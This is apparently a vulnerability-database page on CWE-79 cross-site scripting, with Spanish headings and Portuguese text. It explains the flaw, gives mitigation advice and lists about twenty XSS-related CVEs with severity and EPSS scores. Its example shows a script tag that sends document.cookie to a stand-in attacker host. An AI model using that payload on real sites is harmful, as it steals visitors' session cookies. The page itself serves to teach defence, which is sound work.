Fallos del tipo CWE-79

29.311 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-53274LOWGHSL-2024-111: Reflected XSS in /home in habiticaEPSS 0.5%CVE-2024-10887MEDIUMNiceJob <= 3.7.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-20800MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2024-37675MEDIUMCross Site Scripting vulnerability in Tessi Docubase Document Management product 5.x allows a remote attacker to execute arbitrary code via EPSS 0.5%CVE-2022-45040MEDIUMA cross-site scripting (XSS) vulnerability in /admin/pages/sections_save.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scEPSS 0.5%CVE-2024-2530LOWMAGESH-K21 Online-College-Event-Hall-Reservation-System update-rooms.php cross site scriptingEPSS 0.5%CVE-2020-27478HIGHCross Site Scripting vulnerability found in Simplcommerce v.40734964b0811f3cbaf64b6dac261683d256f961 thru 3103357200c70b4767986544e01b19dbf1EPSS 0.5%CVE-2022-45613MEDIUMBook Store Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in /bsms_ci/index.php/book. This vulnEPSS 0.5%CVE-2023-43712MEDIUMOs Commerce 4.12.56860 - Cross Site Scripting Reflected (XSS)EPSS 0.5%CVE-2023-46952MEDIUMCross Site Scripting vulnerability in ABO.CMS v.5.9.3 allows an attacker to execute arbitrary code via a crafted payload to the Referer headEPSS 0.5%CVE-2023-0323MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.5%CVE-2024-53272MEDIUMGHSL-2024-109: Reflected XSS in /login in habiticaEPSS 0.5%CVE-2022-2777MEDIUMCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 0.5%CVE-2024-0557LOWDedeBIZ Website Copyright Setting cross site scriptingEPSS 0.5%CVE-2021-39427MEDIUMCross site scripting vulnerability in 188Jianzhan 2.10 allows attackers to execute arbitrary code via the username parameter to /admin/reg.pEPSS 0.5%CVE-2023-20265MEDIUMA vulnerability in the web-based management interface of a small subset of Cisco IP Phones could allow an authenticated, remote attacker to EPSS 0.5%CVE-2024-48536HIGHIncorrect access control in eSoft Planner 3.24.08271-USA allow attackers to view all transactions performed by the company via supplying a cEPSS 0.5%CVE-2024-55878MEDIUMCross-site Scripting vulnerability in SimpleXLSXEx::readXfs and SimpeXLSX::toHTMLExEPSS 0.5%CVE-2023-51843HIGHreact-dashboard 1.4.0 is vulnerable to Cross Site Scripting (XSS) as httpOnly is not set.EPSS 0.5%CVE-2024-37671MEDIUMCross Site Scripting vulnerability in Tessi Docubase Document Management product 5.x allows a remote attacker to execute arbitrary code via EPSS 0.5%